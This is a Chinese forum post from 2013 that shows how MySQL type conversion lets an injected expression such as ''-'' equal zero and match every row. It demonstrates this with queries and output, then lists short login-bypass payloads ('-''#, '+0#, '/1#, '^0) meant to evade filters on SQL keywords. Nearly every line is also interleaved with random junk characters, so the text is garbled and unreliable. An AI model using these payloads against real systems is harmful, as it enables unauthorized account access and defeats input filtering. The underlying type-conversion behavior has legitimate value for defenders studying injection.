找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2201|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
" ]: z4 `3 Q, Z- V6 [* C有以下表结构:   p# r4 I# `3 J7 ?4 V, s
* p% X$ s( q; n/ }' j8 I! f* A
mysql> desc admin;
+ R$ |$ `7 R( J7 o% Y( Z- p5 a# N$ l+----------+--------------+------+-----+---------+----------------+  x5 z+ r5 D: F5 K2 v4 E
| Field    | Type         | Null | Key | Default | Extra          |4 \' Z; i) j- P5 v( x) [2 W
+----------+--------------+------+-----+---------+----------------+' J9 W( J$ q5 n9 ~
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
% ?! J5 k. F  |- |3 ]| name     | char(32)     | NO   | UNI | NULL    |                |
; O$ m& Y$ f2 I3 D| password | char(32)     | NO   | UNI | NULL    |                |
' Z% ]5 s4 }( A( u# l+----------+--------------+------+-----+---------+----------------+
" W, G5 u3 t7 P5 U8 v: k3 rows in set (0.00 sec)
; R+ y, b" O1 z/ {/ @7 [! G1 V+ d执行select * from admin;,成功返回所有记录内容。
4 M' V: s( l; N5 _, M
: F& P: X( H8 m/ f4 e/ ?/ `# c1 Y$ {; \- \
+----+--------+----------------------------------+' b/ ?; [& w4 Z
| id | name   | password                         |# [+ Q" @7 V! e! s0 S% G  N: H
+----+--------+----------------------------------+3 N% t5 U  d( y
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
, R5 z- I' d& k|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
' f# z! o  E( {$ m+ ?|  4 | n00b   | ff80e8508d39047460921792273533a4 |
2 t. b2 b6 {: e  h+----+--------+----------------------------------+. |1 Y$ A( d, r1 S0 V4 A7 S: j
3 rows in set (0.00 sec)% O* i: [3 ~% y9 ^$ N7 Q
执行select * from admin where name=”;,没有匹配到任何记录。
$ j0 A7 F: d) D% t) `; C2 i8 S$ O6 L9 k8 t0 b' i- D# H
mysql> select * from admin where name = '';$ J# e; c, G% M8 a+ _; F8 T+ ]
Empty set (0.00 sec)% B7 c6 F7 S( _" b5 q
那么我们来执行select * from admin where name = ”-”;
' C2 ~$ J# C7 D( U$ C$ E+ h7 g8 A( M! S5 ]( g! i, r+ w

& `8 i) C9 W/ Z+----+--------+----------------------------------+
9 }/ o6 l, Q9 f; p# c1 a| id | name   | password                         |
9 K8 C/ y' L/ `* M6 o4 H+----+--------+----------------------------------+
- J% v+ ^  K( r! r8 `0 q. T( n2 x9 H|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
8 E3 W% I7 v0 M  n; c+ I$ J& r* G|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |, t  q2 j6 a: ~- f+ b
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
- q2 h" A0 j* Q2 Y2 _* y) S( Q+----+--------+----------------------------------+4 S0 Q3 F. I# E, L2 D) i7 y
3 rows in set, 3 warnings (0.00 sec)* B5 S, }  T3 e; ?6 `7 C
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: , w8 L+ O/ c. F+ O6 Z
" S% X" p+ {, M9 ]" @
mysql> show warnings;
5 n, J, m$ V* [! Y% H+---------+------+------------------------------------------3 W& @7 O# D, g$ d
| Level   | Code | Message  `6 [$ B& e1 k" x9 q% C
+---------+------+------------------------------------------
# F( \1 T3 ?  j. Y8 z| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin; I% s$ Y' V( D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
" Z7 A0 q3 l( @5 G. q6 ]; Q" Y5 {. K: |! G| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b# P$ B: k& h7 _
+---------+------+------------------------------------------
' k# p+ s6 S7 h2 v2 ^: \4 K* q3 rows in set (0.00 sec)" U! d# {3 P; g$ e& |" a6 A7 |* X5 r
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
' G: ?* m: ]3 M1 z5 w0 K# C" }6 A/ F% b: y8 H: o- L
mysql> select ''-'';
8 i  M, s7 c( l2 W  m+-------+
5 m/ e9 u" `7 z| ''-'' |
; d& E0 C  G7 R, l& e+-------+
! t: h1 }/ U4 ~+ V3 \; X|     0 |% K' M) d3 y5 B4 v/ r* ~6 Q" c) T
+-------+
+ m6 w; I  O; k1 row in set (0.00 sec)
7 e+ c# N$ I. w" n1 n: i4 X返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ( n6 v2 w; u( o2 G3 a
$ n1 k1 i% O& J0 O# y* B3 ]2 E
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);8 I# K+ Y  ?% f. b# J, n" h
+-----------------------------------------------------+/ X& }* y6 ~) \& \& Y0 q
| CAST((select name from admin limit 1,1) as DECIMAL) |; h0 P+ R3 a" E! x/ Y6 j
+-----------------------------------------------------+
' q4 {! v' [- E7 a2 Z|                                                   0 |, j8 x. c. w" ?) B# k" i$ s
+-----------------------------------------------------+5 A6 w( J) o4 C
1 row in set, 1 warning (0.00 sec). [$ K: B3 o* C$ j) f3 l
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
1 d4 `4 a3 \4 B( Y: S* \( O& ]
+ ~" `9 {0 N& {2 J" D3 GSQL注入场景: http://www.sqlzoo.net/hack/
3 C4 M. c' @8 p& O% d0 j" ^/ u; I' }+ T& U4 W1 _; c, I

3 C7 w0 a, I, s) Z  u! }& {7 J, N7 v+ F( V  e! E

& f" q$ `) \% V如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
6 ]; x' Q: S6 D3 F6 \! V; d, Y! t' L% W7 P
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 5 L( m; F4 h: N, x4 u

7 W! o* d0 D2 }# x7 h6 u; E# c' f% f  b) ?6 L' X
! p, P" c; Q) S1 N, y2 A
/ I7 V0 M) @5 V! V- j
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
! P5 o3 h7 w4 R) [7 c/ A4 k# x0 N
   
. Z7 T8 ]. A. ?$ `- e0 q& d* v7 o3 f, z: Z
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
! v& R3 F1 N' P) W+ b0 R
8 c$ o* |& ^1 K( m: ?$ s0 z, P* p, M( \* O3 \# G
mysql> select ''/1;
) r2 K$ b9 ~9 Y* R4 m3 Z+------+; q' N! }* a" J' e
| ''/1 |
/ C) x' E! s' ?* F! _+------+
4 l+ t1 x1 o! O' l) T1 u9 L|    0 |; P$ g# d# O1 B3 d
+------+$ q. @* Q. y, N- j* {
1 row in set (0.00 sec)8 M7 F! x6 {/ v$ }' V/ X) `  _5 M
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
% o3 G* ^% @% W  T  ?% x4 p, Q4 r) a1 }
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。5 w; j) b3 z9 G# m( ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表